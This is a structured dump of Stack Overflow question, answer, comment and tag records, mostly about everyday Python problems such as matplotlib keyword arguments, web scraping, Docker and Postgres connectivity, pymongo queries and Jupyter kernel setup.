has body: With a function f calling another well-known function in Python (e.g. a matplotlib function), what is the most pythonic/efficient/elegant way to define some default values while still giving the possibility to the user of f to fully customize the called function (typically with **kwargs), including to overwrite the default keyword arguments defined in f? import numpy as np import matplotlib.pyplot as plt v = np.linspace(-10.,10.,100) x,y = np.meshgrid(v, v) z = -np.hypot(x, y) def f(ax, n=12, **kwargs): ax.contourf(x, y, z, n, cmap=plt.cm.autumn, **kwargs) fig, ((ax0, ax1), (ax2, ax3)) = plt.subplots(2, 2) f(ax0) # OK f(ax1, n=100) # OK f(ax2, n=100, **{'vmax': -2, 'alpha': 0.2}) # OK # f(ax3, n=100, **{'cmap': plt.cm.cool}) # ERROR plt.show() Here, the last call to f throws: TypeError: contourf() got multiple values for keyword argument 'cmap'
type: Question
tagged with: arguments
tagged with: python
upvote count: 4
score: 4
has answer: http://stackoverflow.com/a/72729705
has title: Pythonic way to overwrite a default argument with **kwargs?

amazon-athena
type: Tag
tags question: http://stackoverflow.com/q/49578829
tag name: amazon-athena

http://stackoverflow.com/q/49502679
tagged with: web-scraping
favorite count: 0
tagged with: beautifulsoup
type: Question
upvote count: 2
has body: I'm looking for a way to remove all the duplicate headers with the html class "thead" that are showing up in the table rows. Here is the code I have before I run into my problem: for yr in years: try: url = 'https://www.pro-football-reference.com/years/' + yr + '/passing.htm' html = urlopen(url) soup = BeautifulSoup(html, "lxml") column_headers = [th.getText() for th in soup.findAll('tr', limit=2)[0].findAll('th')] table_rows = soup.select("#passing tr")[1:]
tagged with: http://stackoverflow.com/tag/html
tagged with: python
accepted answer: http://stackoverflow.com/a/49506699
has title: How to remove headers that show up in table rows?
has answer: http://stackoverflow.com/a/49506699
type: AnsweredQuestion
score: 2
answer count: 1
downvote count: 0

http://stackoverflow.com/comment/86048055
has text: fits the requirement. Thanks Johny Mudly.
type: Comment
comment on: http://stackoverflow.com/a/49519091
type: AnswerComment
score: 0

http://stackoverflow.com/comment/86033440
type: QuestionComment
has text: Please paste code as code blocks, not as images.
score: 0
comment on: http://stackoverflow.com/q/49514350
type: Comment

http://stackoverflow.com/q/49595740
has answer: http://stackoverflow.com/a/64276362
favorite count: 0
type: Question
has comment: http://stackoverflow.com/comment/86198939
tagged with: python
has comment: http://stackoverflow.com/comment/86201974
has comment: http://stackoverflow.com/comment/86205127
has comment: http://stackoverflow.com/comment/90342215
has comment: http://stackoverflow.com/comment/86201570
has title: Cannot plot predicted time series values using matplotlib
has comment: http://stackoverflow.com/comment/86203044
has comment: http://stackoverflow.com/comment/86198789
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/86203994
tagged with: datetime
has comment: http://stackoverflow.com/comment/86205229
upvote count: 16
tagged with: statsmodels
has comment: http://stackoverflow.com/comment/86202931
has body: I am trying to plot my actual time series values and predicted values but it gives me this error: ValueError: view limit minimum -36816.95989583333 is less than 1 and is an invalid Matplotlib date value. This often happens if you pass a non-datetime value to an axis that has datetime units I am using statsmodels to fit an arima model to the data. This is a sample of my data: datetime value 2017-01-01 00:00:00 10.18 2017-01-01 00:15:00 10.2 2017-01-01 00:30:00 10.32 2017-01-01 00:45:00 10.16 2017-01-01 01:00:00 9.93 2017-01-01 01:15:00 9.77 2017-01-01 01:30:00 9.47 2017-01-01 01:45:00 9.08 This is my code: mod = sm.tsa.statespace.SARIMAX( subset, order=(1, 1, 1), seasonal_order=(1, 1, 1, 12), enforce_stationarity=False, enforce_invertibility=False ) results = mod.fit() pred_uc = results.get_forecast(steps=500) pred_ci = pred_uc.conf_int(alpha = 0.05) # Plot fig = plt.figure(figsize=(12, 8)) ax = fig.add_subplot(1, 1, 1) ax.plot(subset,color = "blue") ax.plot(pred_uc.predicted_mean, color="black", alpha=0.5, label='SARIMAX') plt.show() Any idea how to fix this?
linked to: http://stackoverflow.com/q/21108171
tagged with: matplotlib
answer count: 1
downvote count: 3
has comment: http://stackoverflow.com/comment/86199019
has comment: http://stackoverflow.com/comment/86199149
score: 13
has comment: http://stackoverflow.com/comment/86201194

http://stackoverflow.com/comment/86124838
has text: @darthbith the output is C:\Users\Tyler\python.exe and i am not sure, how could I found this out?
type: Comment
type: QuestionComment
score: 0
comment on: http://stackoverflow.com/q/49557532

http://stackoverflow.com/q/49526628
tagged with: class
linked to: http://stackoverflow.com/q/10566774
upvote count: 4
type: AnsweredQuestion
accepted answer: http://stackoverflow.com/a/49526665
downvote count: 0
answer count: 1
duplicate of: http://stackoverflow.com/q/10566774
has answer: http://stackoverflow.com/a/49526665
has title: __dict__ doesn't know about certain attributes of a class
favorite count: 0
type: Question
tagged with: python-3.x
has body: If I make a class class MyClass: """A simple example class""" i = 12345 def f(self): return 'hello world' And then in the console, say x=MyClass() x.counter = 1 vars(x) # returns {'counter': 1} x.__dict__ # returns {'counter': 1} Why doesn't it know about the i attribute of x? I'm sure this is coming from a misunderstanding of mine as to how various attributes of a class are defined in Python. Is there some difference between Python 2/3 in this regard? Calling dir(x) gives me all the stuff I would expect. I suspect this question has been asked by other beginners, but at this stage I don't know the right things to look for in a question title. None of the ones suggested by the website seemed correct.
tagged with: python
score: 4

http://stackoverflow.com/a/49546941
has body: Try adding ";" to your copy command. ... delimiter ',' CSV ;" :-)
score: -1
has comment: http://stackoverflow.com/comment/86131687
answers question: http://stackoverflow.com/q/49542839
downvote count: 2
upvote count: 1
type: Answer

http://stackoverflow.com/comment/86130035
score: 1
has text: @Vaishali can you please add more explanation? It will help the OP and and future visitors significantly more.
type: Comment
type: AnswerComment
comment on: http://stackoverflow.com/a/49560457

http://stackoverflow.com/a/49442824
has body: Use update_many to update more than one document. If you want to update one document use update_one. Actually update is deprecated. from bson import ObjectId db.collection.update_many({"_id" : ObjectId("5a95a1c32a2e2e0025e6d6e2")}, {"status": "submission"}) I hope it helps.
type: Answer
answers question: http://stackoverflow.com/q/49442552
score: 0

http://stackoverflow.com/comment/86143243
type: Comment
type: AnswerComment
score: 1
comment on: http://stackoverflow.com/a/49536038
has text: Tried making CNN trainable, nothing really changed. I think this is a problem caused by CTC. Refer to: [github issue](https://github.com/Lasagne/Recipes/issues/6). It seems quite some people get stuck in such situation.

ipv6
tag name: ipv6
tags question: http://stackoverflow.com/q/49589294
type: Tag

http://stackoverflow.com/q/49516650
has comment: http://stackoverflow.com/comment/87080875
has comment: http://stackoverflow.com/comment/91954242
has answer: http://stackoverflow.com/a/49516769
accepted answer: http://stackoverflow.com/a/49516769
tagged with: python
tagged with: css
has answer: http://stackoverflow.com/a/74430561
linked to: http://stackoverflow.com/q/23156780
has body: I have the following html code: Lorem ipsum si ammet So to get the text data as: Lorem ipsum si ammet, so I tried to use: response.css('div.article >p::text ').extract() But I only receive only lorem sie ammet. How can I get both and texts using CSS selectors?
type: AnsweredQuestion
score: 3
upvote count: 3
answer count: 2
downvote count: 0
possible better answer: http://stackoverflow.com/a/74430561
has title: Scrapy scraping nested text using css selectors
tagged with: scrapy
favorite count: 0
type: Question

http://stackoverflow.com/comment/86014483
comment on: http://stackoverflow.com/q/49505026
type: QuestionComment
has text: Your `dataset_numpy` is an empty list. My claim still holds: either you do not have any `sub_folders` or you did not extract any features.
score: 0
type: Comment

http://stackoverflow.com/comment/86167448
has text: Have you ttried something (do you remember doing math problems)?
comment on: http://stackoverflow.com/q/49579846
type: Comment
score: 2
type: QuestionComment

http://stackoverflow.com/a/49576007
upvote count: 13
has body: You need to do: area = area.replace(0, np.nan)
answers question: http://stackoverflow.com/q/49575897
downvote count: 0
score: 13
type: Answer

http://stackoverflow.com/q/49479907
type: Question
upvote count: 4
has comment: http://stackoverflow.com/comment/85963575
downvote count: 0
tagged with: python
score: 4
has body: Trying to achieve simple setup flask + postgres + nginx with docker compose, everything seems to work if i remove db connection logic, but otherwise it fails to connect to database by being unable to resolve service name: Error from the flask: app_1 | {for debug, conn string used} postgresql://postgres:kftxx2h9mvOqhz3zyLIL-NG7RiUabFEzdCQCNtska-OmeASaSFk3frbKJMVqsZ@postgres:5432/postgres app_1 | {for debug, start timestamp of first attempt to connect} 2018-03-25 18:38:48.898683 app_1 | Error: (psycopg2.OperationalError) could not translate host name "postgres" to address: Name or service not known app_1 | (Background on this error at: http://sqlalche.me/e/e3q8) That last error repeats bunch of times, since I'm making multiple attempts to connect until it succeeds. Postgres log: postgres_1 | 2018-03-25 18:38:38.871 UTC [1] LOG: listening on IPv4 address "0.0.0.0", port 5432 postgres_1 | 2018-03-25 18:38:38.871 UTC [1] LOG: listening on IPv6 address "::", port 5432 postgres_1 | 2018-03-25 18:38:38.875 UTC [1] LOG: listening on Unix socket "/var/run/postgresql/.s.PGSQL.5432" postgres_1 | 2018-03-25 18:38:38.891 UTC [19] LOG: database system was shut down at 2018-03-25 18:38:37 UTC postgres_1 | 2018-03-25 18:38:38.896 UTC [1] LOG: database system is ready to accept connections Just to note that the problem is not postgres not being ready yet when I'm trying to make a connection (check timestamps + im attempting to make a connection multiple times in python if it fails with small delays between each) Compose: version: '2' services: data: image: postgres:latest volumes: - /var/lib/postgresql command: "true" postgres: restart: always image: postgres:latest env_file: - db_env_file volumes_from: - data ports: - "5432:5432" expose: - "5432" app: restart: always build: ./app env_file: - app_env_file networks: - mainnet depends_on: - "postgres" links: - postgres:postgres volumes: - ./app:/usr/src/app nginx: restart: always build: ./nginx networks: - mainnet links: - app volumes:…
tagged with: docker
tagged with: postgresql
type: AnsweredQuestion
has title: Can't connect to postgres inside docker compose
accepted answer: http://stackoverflow.com/a/49482298
answer count: 1
has answer: http://stackoverflow.com/a/49482298
favorite count: 0

http://stackoverflow.com/comment/86041424
type: QuestionComment
has text: what is the dtype of UPC column `df.info()`
score: 0
type: Comment
comment on: http://stackoverflow.com/q/49517954

http://stackoverflow.com/a/49544698
score: 2
upvote count: 2
type: AcceptedAnswer
downvote count: 0
answers question: http://stackoverflow.com/q/49544094
type: Answer
has body: The answer, as usual, is "it depends". The virtualenv and pipenv tools copy the chosen python version to env/bin/. This means that point-releases will not be recieved by the virtualenv. $ file env/bin/python3 env/bin/python3: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV) The recommended venv (formerly pyvenv) tool however (on linux) creates a symbolic link to the version of python it is executed with (which can be though of as a "redirect" for file systems). This means that point-releases will be automatically received by the virtualenv if the original executable is replaced: $ file env/bin/python3.6 env/bin/python3.6: symbolic link to /usr/bin/python3.6 This behavior is tunable, and venv can also upgrade versions in place, even if not using symlinks: $ python3.6 -m venv -h [...] --symlinks Try to use symlinks rather than copies, when symlinks are not the default for the platform. --copies Try to use copies rather than symlinks, even when symlinks are the default for the platform. --upgrade Upgrade the environment directory to use this version of Python, assuming Python has been upgraded in-place. [...] As far as I can tell, the virtualenv tool has no such functionality, which is presumably one of the reasons it is suggested to use venv instead now.
accepted answer of: http://stackoverflow.com/q/49544094

http://stackoverflow.com/a/49579514
has body: Extract the stats list, apply sort to it with the appropriate key: from json import loads data = loads("""{ "stats": [{ "name": "Jengas", "time": 166, "uid": "177098244407558145", "id": 1 }, { "name": "- k", "time": 20, "uid": "199295228664872961", "id": 2 }, { "name": "MAD MARX", "time": "0", "uid": "336539711785009153", "id": 3 }, { "name": "loli", "time": 20, "uid": "366299640976375818", "id": 4 }, { "name": "Woona", "time": 20, "uid": "246996981178695686", "id": 5 }] }""") stats = data['stats'] stats.sort(key = lambda entry: int(entry['time']), reverse=True) print("TOP 10:") for entry in stats[:10]: print("%s: %d" % (entry['name'], int(entry['time']))) This prints: TOP 10: Jengas: 166 - k: 20 loli: 20 Woona: 20 MAD MARX: 0 Note that your time is neither an integer nor string: there are both 0 and "0" in the dataset. That's why you need the conversion int(...).
has comment: http://stackoverflow.com/comment/86166779
type: Answer
answers question: http://stackoverflow.com/q/49579362
upvote count: 4
has comment: http://stackoverflow.com/comment/86169506
has comment: http://stackoverflow.com/comment/86166859
accepted answer of: http://stackoverflow.com/q/49579362
downvote count: 0
type: AcceptedAnswer
has comment: http://stackoverflow.com/comment/86167045
has comment: http://stackoverflow.com/comment/86167300
score: 4
has comment: http://stackoverflow.com/comment/86167005
has comment: http://stackoverflow.com/comment/86166802

http://stackoverflow.com/q/49455276
has answer: http://stackoverflow.com/a/49455472
has comment: http://stackoverflow.com/comment/85913527
has comment: http://stackoverflow.com/comment/85913514
tagged with: python
type: AnsweredQuestion
tagged with: python-2.7
score: 0
possible better answer: http://stackoverflow.com/a/49455335
answer count: 3
has answer: http://stackoverflow.com/a/49455335
has body: def oddTuples(aTup): # Your Code Here tup = (); for t in aTup: if t%2 != 0: tup = tup + (t,); return tup; print(oddTuples(((1), (2), (2), (23), (3), (4)))) I got output (1, 23, 3) but I don't want this output I tried to so many times but I don't get I want to print odd index just like output (1, 2, 3)
has comment: http://stackoverflow.com/comment/85913423
has title: Return odd indexed values from tuple
accepted answer: http://stackoverflow.com/a/49455320
type: Question
tagged with: python-3.x
has answer: http://stackoverflow.com/a/49455320

http://stackoverflow.com/comment/86052122
type: Comment
has text: you could share the full .py, I'm lazy to complete the code.
score: 0
type: AnswerComment
comment on: http://stackoverflow.com/a/49522787

http://stackoverflow.com/a/49565080
has comment: http://stackoverflow.com/comment/86140962
type: Answer
has comment: http://stackoverflow.com/comment/130469416
upvote count: 33
score: 33
has comment: http://stackoverflow.com/comment/89563159
downvote count: 0
has comment: http://stackoverflow.com/comment/117230809
answers question: http://stackoverflow.com/q/49565042
has body: You should use ChromeOptions from selenium.webdriver: from selenium import webdriver chrome_options = webdriver.ChromeOptions() chrome_options.add_argument('--user-agent="Mozilla/5.0 (Windows Phone 10.0; Android 4.2.1; Microsoft; Lumia 640 XL LTE) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/42.0.2311.135 Mobile Safari/537.36 Edge/12.10166"') driver = webdriver.Chrome(chrome_options=chrome_options) This should work.
has comment: http://stackoverflow.com/comment/126035019

http://stackoverflow.com/comment/86099780
type: Comment
has text: Don't use a bunch of variables, use *a container, like a dictionary*.
score: 3
type: QuestionComment
comment on: http://stackoverflow.com/q/49546164

http://stackoverflow.com/q/49486326
score: 0
has body: Given in the example below, symbol A is defined in module a and imported in b. Module c imports b. Should it access A from module a directly or get it from B (the module it imported directly)? I am thinking of the latter so that I don't need to worry about removing direct references to A, if some day I retire references to b from module c. a.py def A(Exception): pass def funA(): raise A b.py from a import A, funA def funB(): try: funA() except A as e: # some additional handling raise c.py import b # Which of the following is preferred? # 1. try: funB(): except a.A: # do something # 2. try: funB(): except b.A: # do something
answer count: 1
has title: Which one is preferred, importing from module where a symbol is defined or from the module imported directly?
has answer: http://stackoverflow.com/a/49486565
type: Question
has comment: http://stackoverflow.com/comment/85975218
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/85976540
tagged with: python

http://stackoverflow.com/a/49559876
answers question: http://stackoverflow.com/q/49558826
has comment: http://stackoverflow.com/comment/86183754
type: Answer
has body: After using find you need to make a loop in it for records.Then you should be able to retrieve them. from pymongo import MongoClient client = MongoClient() db = client.db_name for document in db.get_collection('collection_name').find(): print(document) From your second request I assumed you want an output like this. from pymongo import MongoClient from prettytable import PrettyTable client = MongoClient() db = client.kliffot table = PrettyTable(['Mail', 'Timezone']) for document in db.get_collection('user').find(): table.add_row([document['email'], document['timezone']]) print(table) """Output sample""" +-------------------+----------+ | Mail | Timezone | +-------------------+----------+ | guray@kliffot.com | UTC | | guray@kliffot.com | UTC | +-------------------+----------+ If so you can use https://pypi.python.org/pypi/PrettyTable library for it via pip3 install PrettyTable or pip install PrettyTable depending on your python version.
has comment: http://stackoverflow.com/comment/86129820
has comment: http://stackoverflow.com/comment/86170370
score: 0

http://stackoverflow.com/comment/123111919
comment on: http://stackoverflow.com/a/49532535
type: Comment
score: 0
type: AnswerComment
has text: @Shir: I think we must not confuse the frequency result with the period.

http://stackoverflow.com/q/49559591
has title: How to compare multiple lists with different sizes in different scripts using a loop in Python
has answer: http://stackoverflow.com/a/49559856
has body: I have a single list in script 1 x = [apple,orange,banana,kiwi] In script 2 I have many lists a = [carrot,apple,celery,banana] b = [tomato, kiwi] c = [banana, pineapple, strawberry, avocado] d = [dragon fruit, lettuce, orange] I am trying to figure out a loop that I can use that will compare list x to each individual list and then create a new lists that have the similarities. The real file will have over 100 lists to go through not 4. list_one = [apple,banana] list_two = [kiwi] list_three = [banana] list_four = [orange]
has comment: http://stackoverflow.com/comment/86127268
score: 2
has comment: http://stackoverflow.com/comment/86135841
tagged with: scripting
tagged with: loops
favorite count: 0
type: Question
answer count: 2
upvote count: 2
type: UnansweredQuestion
downvote count: 0
has answer: http://stackoverflow.com/a/49559921
tagged with: python

http://stackoverflow.com/comment/85983371
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/49490075
has text: @Aran-Fey - fair enough, so I guess the corollary would be that anyone designing a library should be aware of the implications of these differences and ensure that the importer can use either import syntax.
score: 0

http://stackoverflow.com/comment/111737257
type: AnswerComment
score: 4
has text: A key piece of info for me that was absent from the docs was that multiple tensors are passed to these methods as a tuple, e.g. `from_tensors((t1,t2,t3,))`. With that knowledge, `from_tensors` makes a dataset where each input tensor is like a *row* of your dataset, and `from_tensor_slices` makes a dataset where each input tensor is *column* of your data; so in the latter case all tensors must be the same length, and the elements (rows) of the resulting dataset are tuples with one element from each column.
type: Comment
comment on: http://stackoverflow.com/a/49579995

http://stackoverflow.com/comment/85885465
score: 0
type: QuestionComment
comment on: http://stackoverflow.com/q/49440696
type: Comment
has text: @PauloScardine has the point: "values" is no more in the scope of your function because you applied del before calling the plot.

http://stackoverflow.com/comment/86205326
type: QuestionComment
type: Comment
score: 0
comment on: http://stackoverflow.com/q/49599075
has text: So what should the keys and values of the dict be? Are they both user input?

http://stackoverflow.com/comment/86077890
type: Comment
type: QuestionComment
score: 0
has text: Thanks for your comment but this function is for very specific images which are not real-world images but for patterns which do not contain a lot of colors.
comment on: http://stackoverflow.com/q/49535318

http://stackoverflow.com/comment/115424693
comment on: http://stackoverflow.com/a/49513137
type: Comment
score: 0
type: AnswerComment
has text: ref counting is named as the "main garbage collection algorithm" in python [see here](https://devguide.python.org/garbage_collector/), so the statement that "it is wrong that it will only get closed when the GC collects it since Python also has ref counting" does not really apply. I would suspect that they removed the GC reference from the docs to further discourage people from relying on the GC collector to close the file

http://stackoverflow.com/a/49532919
downvote count: 0
answers question: http://stackoverflow.com/q/49532873
upvote count: 5
type: Answer
score: 5
has body: They're the same thing. See here. I assume one is for backwards compatibility. I'd just use sep, it's what I see the most.

http://stackoverflow.com/q/49451137
score: 0
answer count: 0
has title: Expose underlying file with pdb
has comment: http://stackoverflow.com/comment/85905334
type: Question
tagged with: pdb
has body: I've been running some function, with pdb and a for loop, for some time. Since this time, I've modified the underlying file substantially. Is there a way to print the file that PDB is running? I'm not even sure if it exists in the filesystem anymore (clearly I'm an ignoramus. Also, yes, it was a huge mistake to continue editing the file instead of committing or renaming) I can use 'n' to print individual lines, but that's only within a scope that's a subset of the overall script. I.e., I want to print even the lines that have already been run
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/85906918
tagged with: python

http://stackoverflow.com/a/49471412
has body: You can use pd.crosstab to do this. Ill assume you loaded your data into pandas and named your dataframe's df1 and df2. First rename both columns Food bought and Drink bought to a similar name (I chose Item) to easily concatenate values df1.rename(columns={'Food bought':'Item'},inplace=True) df2.rename(columns={'Drink bought':'Item'},inplace=True) df = pd.concat([df1,df2]) Then compute the cross tabulation pd.crosstab(df.Name,df.Item) Which will output Item Apple Banana Juice Orange Peach Pear Pomegranite Soda Tea Water Name Bob 1 0 0 0 0 1 1 1 0 1 Jake 0 0 0 1 1 0 0 0 1 1 Joe 1 1 1 0 0 0 0 1 0 0 Moving on step further, you can compute the cross tabulation grouped by the date. To do this in pandas we need to convert Day of Shopping into datetime objects df['Day of Shopping'] = pd.to_datetime(df['Day of Shopping']) Now just add this information to pd.crosstab pd.crosstab([df['Day of Shopping'],df.Name],df.Item) Item Apple Banana Juice Orange Peach Pear Pomegranite \ Day of Shopping Name 2008-01-04 Jake 0 0 0 1 0 0 0 2010-04-09 Jake 0 0 0 0 1 0 0 2013-04-15 Joe 1 0 1 0 0 0 0 2015-03-14 Bob 1 0 0 0 0 1 0 2016-12-06 Joe 0 1 0 0 0 0 0 2017-06-28 Bob 0 0 0 0 0 0 1 Item Soda Tea Water Day of Shopping Name 2008-01-04 Jake 0 0 1 2010-04-09 Jake 0 1 0 2013-04-15 Joe 0 0 0 2015-03-14 Bob 0 0 1 2016-12-06 Joe 1 0 0 2017-06-28 Bob 1 0 0
answers question: http://stackoverflow.com/q/49470965
has comment: http://stackoverflow.com/comment/85945615
has comment: http://stackoverflow.com/comment/85945776
score: 1
downvote count: 0
upvote count: 1
type: Answer

http://stackoverflow.com/a/49469980
type: AcceptedAnswer
downvote count: 0
upvote count: 1
has comment: http://stackoverflow.com/comment/85943476
score: 1
type: Answer
answers question: http://stackoverflow.com/q/49469703
accepted answer of: http://stackoverflow.com/q/49469703
has body: You cannot use = to compare items, you must use ==. Apart from the wrong comparing syntax, it seems you don't really know how to approach this – you don't need a loop of any kind. Just use txt.replace to target and change those specific substrings: def teform(txt): # add a space after を txt = txt.replace ('を','を ') # add a space between テレビ and つけて txt = txt.replace ('テレビつけて', 'テレビ つけて') return txt

http://stackoverflow.com/q/49486699
possible better answer: http://stackoverflow.com/a/49486775
has body: I have both Python 2 (2.7.14) and Python 3 (3.6.4) installed on my computer (Linux rajarshi-x550cc 4.15.10-300.fc27.x86_64 #1 SMP Thu Mar 15 17:13:04 UTC 2018 x86_64 x86_64 x86_64 GNU/Linux) I have also installed Jupyter Notebook. When I run a new kernel on Jupyter Notebook, whether I choose to run the Python-2 kernel or the Python-3 kernel, only the Python-3 Kernel is run. I have checked this with print(sys.version). I got several nice answers here on Stackoverflow, but none of them worked for me. I created a JSON file in the Jupyter library in /usr/share/jupyter/kernels/python2 with the following code: { "display_name": "Python 2", "language": "python", "argv": [ "python", "-m", "ipykernel_launcher", "-f", "{connection_file}" ] } but there was no observable difference. I then uninstalled Jupyter from Python 3 as follows: python3 -m pip uninstall jupyter but Jupyter is still there, and it still recognizes only Python 3. I am honestly at my wit's end. Should I simply remove Python 3 altogether?
tagged with: python
tagged with: jupyter
tagged with: jupyter-notebook
score: 0
answer count: 2
accepted answer: http://stackoverflow.com/a/49486797
has answer: http://stackoverflow.com/a/49486775
tagged with: python-2.x
has title: Difficulty running jupyter notebook on Python2
type: Question
type: AnsweredQuestion
has answer: http://stackoverflow.com/a/49486797
tagged with: linux

http://stackoverflow.com/comment/86074411
type: AnswerComment
has text: I am talking about model specific preprocessing where in VGG16 it subtracts mean RGB value from al images and uses images in BGR order. Am i correct to use `preprocess_input ` in Lambda layer ?
score: 0
comment on: http://stackoverflow.com/a/49531218
type: Comment

http://stackoverflow.com/comment/85951594
score: 0
comment on: http://stackoverflow.com/a/49474511
type: AnswerComment
has text: As suggested by @Pitto, please edit your question with the error traceback that you're getting.
type: Comment

http://stackoverflow.com/comment/86092010
type: QuestionComment
type: Comment
comment on: http://stackoverflow.com/q/49541728
has text: `0` means it worked but you need to use `check_output` to get the result since `call` just returns the exit code
score: 1

http://stackoverflow.com/q/49550834
type: AnsweredQuestion
has body: Actually i am just making a simple blog in Django2.0.2 where i can upload my recent jobs in which i can upload a image and a summary! My Jobs model looks like this: from django.db import models class Job(models.Model): image = models.ImageField(upload_to='images/') summary = models.CharField(max_length=200)` And i also edited the settings to which the image should be saved: STATIC_URL = '/static/' MEDIA_ROOT = os.path.join(BASE_DIR, 'media'), MEDIA_URL ='/media/' the admin.py of the app looks like: from django.contrib import admin from .models import Job admin.site.register(Job) Please help What should i do to fix this and upload a pic and summary successfully!
has title: TypeError at /admin/jobs/job/add/ 'tuple' does not support the buffer interface
score: 1
answer count: 1
downvote count: 0
favorite count: 0
type: Question
tagged with: python-3.x
accepted answer: http://stackoverflow.com/a/49550898
has answer: http://stackoverflow.com/a/49550898
has comment: http://stackoverflow.com/comment/86109405
tagged with: django
tagged with: django-models
upvote count: 1
tagged with: python
has comment: http://stackoverflow.com/comment/86108801

http://stackoverflow.com/q/49597563
has comment: http://stackoverflow.com/comment/131417464
has comment: http://stackoverflow.com/comment/86203070
tagged with: multiprocessing
type: Question
has body: That code below starts fine in pycharm. But by starting with the command line: "python field_basket_design_uwr.py" it gives error: Traceback (most recent call last): File "field_basket_design_uwr.py", line 677, in &lt;module&gt; mp.set_start_method('spawn') AttributeError: 'module' object has no attribute 'set_start_method' Has somebody an idea how to make the script starting without error? #!/usr/bin/python3.5 import math import sys import gi gi.require_version('Gtk', '3.0') from gi.repository import Gtk as gtk, Gdk as gdk, GLib, GObject as gobject import string import os import subprocess import glob from datetime import datetime, timedelta import time import numpy as np import matplotlib; matplotlib.use('Gtk3Agg') import matplotlib.animation as animation from mpl_toolkits.mplot3d.proj3d import proj_transform from matplotlib.text import Annotation from matplotlib.backends.backend_gtk3cairo import FigureCanvasGTK3Cairo as FigureCanvas import matplotlib.pyplot as plt import multiprocessing as mp class Annotation3D(Annotation): '''Annotate the point xyz with text s''' def __init__(self, s, xyz, *args, **kwargs): Annotation.__init__(self,s, xy=(0,0), *args, **kwargs) self._verts3d = xyz def draw(self, renderer): xs3d, ys3d, zs3d = self._verts3d xs, ys, zs = proj_transform(xs3d, ys3d, zs3d, renderer.M) self.xy=(xs,ys) Annotation.draw(self, renderer) # def annotate3D(ax, s, *args, **kwargs): '''add anotation text s to to Axes3d ax''' tag = Annotation3D(s, *args, **kwargs) ax.add_artist(tag) # def draw_basket(ax1, x, y, z, h, color='black'): '''add basket to the ax1 figure''' t = np.linspace(0, np.pi * 2, 16) ax1.plot(x+0.24*np.cos(t), y+0.24*np.sin(t), z, linewidth=1, color=color) ax1.plot(x+0.16*np.cos(t), y+0.16*np.sin(t), z, linewidth=1, color=color) ax1.plot(x+0.24*np.cos(t), y+0.24*np.sin(t), z+h, linewidth=1, color=color) A=0 while A &lt; 16: xBar = [x+ 0.16 * math.sin(A*22.5*np.pi/180),x+ 0.24 * math.sin(A*22.5*np.pi/180)] yBar = [y+ 0.16 * math.cos(A*22.5*np.pi/…
has comment: http://stackoverflow.com/comment/86202440
has answer: http://stackoverflow.com/a/49606358
has title: AttributeError: 'module' object has no attribute 'set_start_method'
answer count: 2
has comment: http://stackoverflow.com/comment/86203245
type: UnansweredQuestion
tagged with: python
has answer: http://stackoverflow.com/a/74461550
score: 0
tagged with: matplotlib
has comment: http://stackoverflow.com/comment/86219426

http://stackoverflow.com/comment/86121560
comment on: http://stackoverflow.com/q/49553209
score: 0
type: Comment
has text: @SadiaArif Thank for your prompt response and Yes, it is located on the same page, but I need to click on the export first before "Yearly" link show up.
type: QuestionComment

http://stackoverflow.com/a/51698405
score: 3
type: Answer
answers question: http://stackoverflow.com/q/49494082
upvote count: 3
downvote count: 0
has body: Happily, Skyfield is designed for time objects that are NumPy arrays and will generate as many positions as there are objects in the array. Here's a section of the documentation describing the feature: http://rhodesmill.org/skyfield/time.html#date-arrays And here's an example that accomplishes the task you're describing: from numpy import arange from skyfield.api import load, EarthSatellite iss_tle0 = """\ 1 25544U 98067A 18184.80969102 .00001614 00000-0 31745-4 0 9993 2 25544 51.6414 295.8524 0003435 262.6267 204.2868 15.54005638121106 """ my_earthsat = EarthSatellite(*iss_tle0.splitlines()) tz_offset = -4 ts = load.timescale() t = ts.utc(2018, 6, 21, tz_offset, 0, arange(24 * 60 * 60)) astrometrics = my_earthsat.at(t) This code isn't particularly fast at the moment because Earth satellite computations have yet to be optimized, but should be faster than constructing multiple time objects manually in a loop.

http://stackoverflow.com/q/49468290
answer count: 0
type: UnansweredQuestion
tagged with: python
tagged with: kivy
tagged with: image
has comment: http://stackoverflow.com/comment/86043151
tagged with: opencv
has body: I have made this simple code which show two images in kivy one image is the normal image and the other image is the mask from kivy.app import App from kivy.uix.widget import Widget from kivy.uix.button import Button from kivy.uix.image import Image from kivy.graphics.texture import Texture from kivy.clock import Clock import cv2 import numpy as np class NormalImage(Image): def __init__(self, **kwargs): super(NormalImage, self).__init__(**kwargs) self.size = (600, 600) self.pos = (0, 0) self.img = cv2.imread('img.jpg') cv2.imshow("normal image", self.img) buf1 = cv2.flip(self.img, 0) buf = buf1.tostring() image_texture = Texture.create(size=(self.img.shape[1], self.img.shape[0]), colorfmt='bgr') image_texture.blit_buffer(buf, colorfmt='bgr', bufferfmt='ubyte') self.texture = image_texture class BinaryImage(Image): def __init__(self, **kwargs): super(BinaryImage, self).__init__(**kwargs) self.size = (600, 600) self.pos = (300, 0) img = NormalImage().img hsv = cv2.cvtColor(img, cv2.COLOR_BGR2HSV) hsvMin = np.array([19,150,100]) hsvMax = np.array([30,255,255]) mask = cv2.inRange(hsv,hsvMin, hsvMax) cv2.imshow("mask", mask) buf1 = cv2.flip(mask, 0) buf = buf1.tostring() image_texture = Texture.create(size=(mask.shape[1], mask.shape[0]), colorfmt='bgr') image_texture.blit_buffer(buf, colorfmt='bgr', bufferfmt='ubyte') self.texture = image_texture class RootWidget(Widget): def __init__(self, **kwargs): super(RootWidget, self).__init__(**kwargs) self.add_widget(NormalImage()) self.add_widget(BinaryImage()) class ImageApp(App): def build(self): return RootWidget() def on_stop(self): cv2.destroyAllWindows() if __name__ == '__main__': ImageApp().run() The normal image is shown properly, but the problem is that the mask isn't shown properly. It's supposed to show exactly the same as the image in the opencv window. There is also some colored pixels on the mask, and it's supposed to be only black and white pixels. If you know how to show the mask properly in kivy let me know. If …
has comment: http://stackoverflow.com/comment/86043026
has comment: http://stackoverflow.com/comment/85939863
score: 0
type: Question
has title: Kivy and OpenCv mask

http://stackoverflow.com/q/49470165
has title: Split list for punctuation
type: UnansweredQuestion
downvote count: 1
tagged with: python
favorite count: 0
has answer: http://stackoverflow.com/a/49470201
tagged with: list
score: 0
answer count: 3
